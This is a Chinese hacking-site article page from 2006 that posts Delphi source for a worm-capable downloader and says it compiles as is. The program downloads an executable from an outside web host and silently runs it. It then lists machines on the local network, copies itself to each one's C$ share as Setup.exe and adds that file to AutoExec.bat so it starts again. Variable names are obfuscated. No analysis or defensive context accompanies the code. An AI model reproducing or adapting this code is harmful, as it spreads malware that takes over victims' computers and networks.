资源交流吧:VIP  | 网站首页 | 文章中心 | 下载中心 | 图片中心 | 雁过留声 | 音乐无限 | 互动书吧 | BT下载 | 留学频道 |  {$Wap}
您现在的位置: 九佰度在线 九佰度空间 >> 文章中心 >> 黑客前沿 >> 黑客编程 >> 文章正文 用户登录 新用户注册
蠕虫功能的下载者源代码         ★★★★ 【字体:


蠕虫功能的下载者源代码

作者:未知    文章来源:来自网络    点击数:    更新时间:2006-6-7
0
http://su.pdxx.com/linkboy/blogview.asp?logID=187&cateID=1 

源码公布:可以直接编译.蠕虫部分是国外的代码. 

Program a; 

Uses 
Windows; 

Const 
krnp : String = ’I want to dedicate this message to ’+ 
’gates. Gates, you suck. Gates’+ 
’you really are homosexual. etc’; 

VAR 
ww     : String; 


function mbgcqsd_(Caller: cardinal; URL: PChar; FileName: PChar;Reserved: LongWord; StatusCB: cardinal):Longword; stdcall; external ’URLMON.DLL’ name ’URLDownloadToFileA’; 
Function LowerCase(const S: string): string; 
var 
kixoebvq: Integer; 
begin 
kixoebvq := Length(S); 
SetString(Result, PChar(S), kixoebvq); 
if kixoebvq > 0 then CharLowerBuff(Pointer(Result), kixoebvq); 
end; 

Function FileSize(FileName: String): Int64; 
Var 
  zjzb: THandle; 
  exn: TWin32FindData; 
Begin 
  Result:= -1; 

  zjzb:= FindFirstFile(PChar(FileName), exn); 
  If zjzb <> INVALID_HANDLE_VALUE Then 
  Begin 
  Windows.FindClose(zjzb); 
  Result:= Int64(exn.nFileSizeHigh) Shl 32 + exn.nFileSizeLow; 
  End; 
End; 

Function ExtractFileName(Str:String):String; 
Begin 
While Pos(’\’, Str)>0 Do 
  Str := Copy(Str, Pos(’\’,Str)+1, Length(Str)); 
Result := Str; 
End; 

Function ExtractFileExt(s:string):String; 
Begin 
While Pos(’.’, S)>0 Do 
  S := Copy(S, pos(’.’, S)+1, Length(s)); 
Result := S; 
End; 

function FileExists(const FileName: string): Boolean; 
var 
  __pqxjj: THandle; 
  wgndplz: TWin32FindData; 
begin 
  __pqxjj := FindFirstFileA(PChar(FileName), wgndplz); 
  result:= __pqxjj <> INVALID_HANDLE_VALUE; 
  if result then 
  begin 
  CloseHandle(__pqxjj); 
  end; 
end; 

procedure Enumeration(aResource:PNetResource); 
var 
qnlshmm: THandle; 
kujf_n, mec: DWORD; 
wgokq: array[0..1023] of TNetResource; 
_fehlq: Integer; 
begin 
  WNetOpenEnum(2,0,0,aResource,qnlshmm); 
  kujf_n:=1024; 
  mec:=SizeOf(wgokq); 
  while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do 
  for _fehlq:=0 to kujf_n-1 do 
  begin 
  if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then 
  ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10; 
  if wgokq[_fehlq].dwUsage>0 then 
  Enumeration(@wgokq[_fehlq]) 
end; 
WNetCloseEnum(qnlshmm); 
end; 

Procedure Network; 
Var 
x_a : String; 
ktkma : TextFile; 
Begin 
Enumeration(NIL); 
While ww <> ’’ Do Begin 
  x_a := Copy(ww, 1, Pos(#13#10, ww)-1); 
  Try 
  CopyFile(pChar(ParamStr(0)), pChar(x_a + ’\C$\Setup.exe’), False); 
  If FileExists(pChar(x_a + ’\C$\AutoExec.bat’)) Then Begin 
  AssignFile(ktkma, x_a + ’\C$\AutoExec.bat’); 
  Append(ktkma); 
  WriteLn(ktkma, ’Setup.exe’); 
  CloseFile(ktkma); 
  End; 
  Except 
  ; 
  End; 
  ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww)); 
End; 
End; 


Begin 
mbgcqsd_(0, ’http://djyangyong.nease.net/mm.exe’, ’C:\win30.exe’, 0, 0); 
WinExec(’C:\win30.exe’,0); 
Network; 

End.

[1]

文章录入:qq007    责任编辑:qq007 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     本类热门文章
    普通文章泰航空姐在曼谷新国际机场屡11-22
    普通文章俄罗斯最后一颗军事间谍卫星11-22
    普通文章英国成为欧洲最大性奴交易市11-22
    普通文章朝鲜称将坚决报复日本对其实11-22
    普通文章中情局被指谋杀肯尼迪兄弟 11-22
    普通文章布什访问印尼引起大规模抗议11-22
    普通文章东南亚许多儿童成为卖淫活动11-22
    普通文章英国妇女两次怀上三胞胎医学11-22
     最新推荐文章
    普通文章泰航空姐在曼谷新国际机场屡11-22
    普通文章俄罗斯最后一颗军事间谍卫星11-22
    普通文章英国成为欧洲最大性奴交易市11-22
    普通文章朝鲜称将坚决报复日本对其实11-22
    普通文章中情局被指谋杀肯尼迪兄弟 11-22
    普通文章布什访问印尼引起大规模抗议11-22
    普通文章东南亚许多儿童成为卖淫活动11-22
    普通文章英国妇女两次怀上三胞胎医学11-22
     最新文章
    普通文章泰航空姐在曼谷新国际机场屡11-22
    普通文章俄罗斯最后一颗军事间谍卫星11-22
    普通文章英国成为欧洲最大性奴交易市11-22
    普通文章朝鲜称将坚决报复日本对其实11-22
    普通文章中情局被指谋杀肯尼迪兄弟 11-22
    普通文章布什访问印尼引起大规模抗议11-22
    普通文章东南亚许多儿童成为卖淫活动11-22
    普通文章英国妇女两次怀上三胞胎医学11-22
     文章评论(评论内容只代表网友观点,与本站立场无关!发表评论
    007在线工作室 版权所有 未经许可 严禁复制本站页面以及盗取资源链接
    Copyright© 2005-2006 使用800*600像素访问本站将达到最佳效果 苏ICP备05042773号